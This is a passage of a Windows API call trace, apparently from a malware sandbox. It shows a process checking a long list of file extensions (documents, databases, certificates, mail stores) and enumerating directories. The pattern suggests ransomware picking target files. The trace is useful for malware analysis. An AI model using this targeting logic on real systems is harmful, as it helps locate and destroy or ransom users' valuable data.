	[0205.432] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0205.432] lstrlenW (lpString=".mde") returned 4
	[0205.432] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0205.432] lstrlenW (lpString=".mdf") returned 4
	[0205.432] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0205.432] lstrlenW (lpString=".mdw") returned 4
	[0205.432] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0205.432] lstrlenW (lpString=".mef") returned 4
	[0205.432] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0205.432] lstrlenW (lpString=".mft") returned 4
	[0205.432] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0205.432] lstrlenW (lpString=".mfw") returned 4
	[0205.432] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0205.432] lstrlenW (lpString=".mht") returned 4
	[0205.432] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0205.432] lstrlenW (lpString=".mhtml") returned 6
	[0205.432] lstrcmpiW (lpString1=".mhtml", lpString2="es.dll") returned -1
	[0205.432] lstrlenW (lpString=".mka") returned 4
	[0205.432] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0205.432] lstrlenW (lpString=".mkidx") returned 6
	[0205.433] lstrcmpiW (lpString1=".mkidx", lpString2="es.dll") returned -1
	[0205.433] lstrlenW (lpString=".mkv") returned 4
	[0205.433] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0205.433] lstrlenW (lpString=".mos") returned 4
	[0205.433] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0205.433] lstrlenW (lpString=".mov") returned 4
	[0205.433] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0205.433] lstrlenW (lpString=".mp3") returned 4
	[0205.433] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0205.433] lstrlenW (lpString=".mp4") returned 4
	[0205.433] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0205.433] lstrlenW (lpString=".mpeg") returned 5
	[0205.433] lstrcmpiW (lpString1=".mpeg", lpString2="s.dll") returned -1
	[0205.433] lstrlenW (lpString=".mpg") returned 4
	[0205.433] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0205.433] lstrlenW (lpString=".mpv") returned 4
	[0205.433] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0205.433] lstrlenW (lpString=".mrw") returned 4
	[0205.433] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0205.433] lstrlenW (lpString=".msg") returned 4
	[0205.433] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0205.433] lstrlenW (lpString=".mxl") returned 4
	[0205.433] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0205.433] lstrlenW (lpString=".myd") returned 4
	[0205.433] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0205.433] lstrlenW (lpString=".myi") returned 4
	[0205.433] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0205.434] lstrlenW (lpString=".nef") returned 4
	[0205.434] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0205.434] lstrlenW (lpString=".nrw") returned 4
	[0205.434] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0205.434] lstrlenW (lpString=".obj") returned 4
	[0205.434] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0205.434] lstrlenW (lpString=".odb") returned 4
	[0205.434] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0205.434] lstrlenW (lpString=".odc") returned 4
	[0205.434] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0205.434] lstrlenW (lpString=".odm") returned 4
	[0205.434] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0205.434] lstrlenW (lpString=".odp") returned 4
	[0205.434] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0205.434] lstrlenW (lpString=".ods") returned 4
	[0205.434] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0205.434] lstrlenW (lpString=".oft") returned 4
	[0205.434] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0205.434] lstrlenW (lpString=".one") returned 4
	[0205.434] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0205.434] lstrlenW (lpString=".onepkg") returned 7
	[0205.434] lstrcmpiW (lpString1=".onepkg", lpString2="ces.dll") returned -1
	[0205.434] lstrlenW (lpString=".onetoc2") returned 8
	[0205.434] lstrcmpiW (lpString1=".onetoc2", lpString2="aces.dll") returned -1
	[0205.434] lstrlenW (lpString=".opt") returned 4
	[0205.434] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0205.434] lstrlenW (lpString=".oqy") returned 4
	[0205.435] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0205.435] lstrlenW (lpString=".orf") returned 4
	[0205.435] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0205.435] lstrlenW (lpString=".p12") returned 4
	[0205.435] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0205.435] lstrlenW (lpString=".p7b") returned 4
	[0205.435] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0205.435] lstrlenW (lpString=".p7c") returned 4
	[0205.435] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0205.435] lstrlenW (lpString=".pam") returned 4
	[0205.435] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0205.435] lstrlenW (lpString=".pbm") returned 4
	[0205.435] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0205.435] lstrlenW (lpString=".pct") returned 4
	[0205.435] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0205.435] lstrlenW (lpString=".pcx") returned 4
	[0205.435] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0205.435] lstrlenW (lpString=".pdd") returned 4
	[0205.435] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0205.435] lstrlenW (lpString=".pdf") returned 4
	[0205.435] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0205.435] lstrlenW (lpString=".pdp") returned 4
	[0205.435] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0205.435] lstrlenW (lpString=".pef") returned 4
	[0205.435] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0205.435] lstrlenW (lpString=".pem") returned 4
	[0205.435] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0205.436] lstrlenW (lpString=".pff") returned 4
	[0205.436] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0205.436] lstrlenW (lpString=".pfm") returned 4
	[0205.436] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0205.568] lstrlenW (lpString=".pfx") returned 4
	[0205.568] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0205.568] lstrlenW (lpString=".pgm") returned 4
	[0205.568] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0205.568] lstrlenW (lpString=".php") returned 4
	[0205.568] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0205.569] lstrlenW (lpString=".php3") returned 5
	[0205.569] lstrcmpiW (lpString1=".php3", lpString2="s.dll") returned -1
	[0205.569] lstrlenW (lpString=".php4") returned 5
	[0205.569] lstrcmpiW (lpString1=".php4", lpString2="s.dll") returned -1
	[0205.569] lstrlenW (lpString=".php5") returned 5
	[0205.569] lstrcmpiW (lpString1=".php5", lpString2="s.dll") returned -1
	[0205.569] lstrlenW (lpString=".phtml") returned 6
	[0205.569] lstrcmpiW (lpString1=".phtml", lpString2="es.dll") returned -1
	[0205.569] lstrlenW (lpString=".pict") returned 5
	[0205.569] lstrcmpiW (lpString1=".pict", lpString2="s.dll") returned -1
	[0205.569] lstrlenW (lpString=".pl") returned 3
	[0205.569] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0205.569] lstrlenW (lpString=".pls") returned 4
	[0205.569] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0205.569] lstrlenW (lpString=".pm") returned 3
	[0205.569] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0205.569] lstrlenW (lpString=".png") returned 4
	[0205.569] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0205.569] lstrlenW (lpString=".pnm") returned 4
	[0205.569] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0205.569] lstrlenW (lpString=".pot") returned 4
	[0205.569] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0205.569] lstrlenW (lpString=".potm") returned 5
	[0205.569] lstrcmpiW (lpString1=".potm", lpString2="s.dll") returned -1
	[0205.569] lstrlenW (lpString=".potx") returned 5
	[0205.569] lstrcmpiW (lpString1=".potx", lpString2="s.dll") returned -1
	[0205.569] lstrlenW (lpString=".ppa") returned 4
	[0205.569] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0205.569] lstrlenW (lpString=".ppam") returned 5
	[0205.569] lstrcmpiW (lpString1=".ppam", lpString2="s.dll") returned -1
	[0205.569] lstrlenW (lpString=".ppm") returned 4
	[0205.569] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0205.569] lstrlenW (lpString=".pps") returned 4
	[0205.569] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0205.570] lstrlenW (lpString=".ppsm") returned 5
	[0205.570] lstrcmpiW (lpString1=".ppsm", lpString2="s.dll") returned -1
	[0205.570] lstrlenW (lpString=".ppt") returned 4
	[0205.570] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0205.570] lstrlenW (lpString=".pptm") returned 5
	[0205.570] lstrcmpiW (lpString1=".pptm", lpString2="s.dll") returned -1
	[0205.570] lstrlenW (lpString=".pptx") returned 5
	[0205.570] lstrcmpiW (lpString1=".pptx", lpString2="s.dll") returned -1
	[0205.570] lstrlenW (lpString=".prn") returned 4
	[0205.570] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0205.570] lstrlenW (lpString=".ps") returned 3
	[0205.570] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0205.570] lstrlenW (lpString=".psb") returned 4
	[0205.570] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0205.570] lstrlenW (lpString=".psd") returned 4
	[0205.570] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0205.570] lstrlenW (lpString=".pst") returned 4
	[0205.570] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0205.570] lstrlenW (lpString=".ptx") returned 4
	[0205.570] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0205.570] lstrlenW (lpString=".pub") returned 4
	[0205.570] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0205.570] lstrlenW (lpString=".pwm") returned 4
	[0205.570] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0205.570] lstrlenW (lpString=".pxr") returned 4
	[0205.570] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0205.570] lstrlenW (lpString=".py") returned 3
	[0205.570] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0205.570] lstrlenW (lpString=".qt") returned 3
	[0205.570] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0205.570] lstrlenW (lpString=".r3d") returned 4
	[0205.570] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0205.570] lstrlenW (lpString=".raf") returned 4
	[0205.570] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0205.570] lstrlenW (lpString=".rar") returned 4
	[0205.571] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0205.571] lstrlenW (lpString=".raw") returned 4
	[0205.571] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1
	[0205.571] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x43f0050
	[0205.573] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.573] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0205.573] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.573] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0205.573] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.573] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0205.574] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.574] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0205.574] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.574] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="en-US", cAlternateFileName="")) returned 1
	[0205.574] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.574] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0205.574] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.574] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0205.575] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.575] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0205.575] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.575] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0205.575] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.575] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0205.578] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.578] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0205.578] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.578] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0205.578] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.578] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0205.578] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.578] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0205.579] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.579] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0205.579] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.579] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0205.579] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.579] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0205.580] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.580] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0205.580] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.580] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0205.580] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.580] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0205.580] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.580] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0205.581] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.581] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0205.581] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
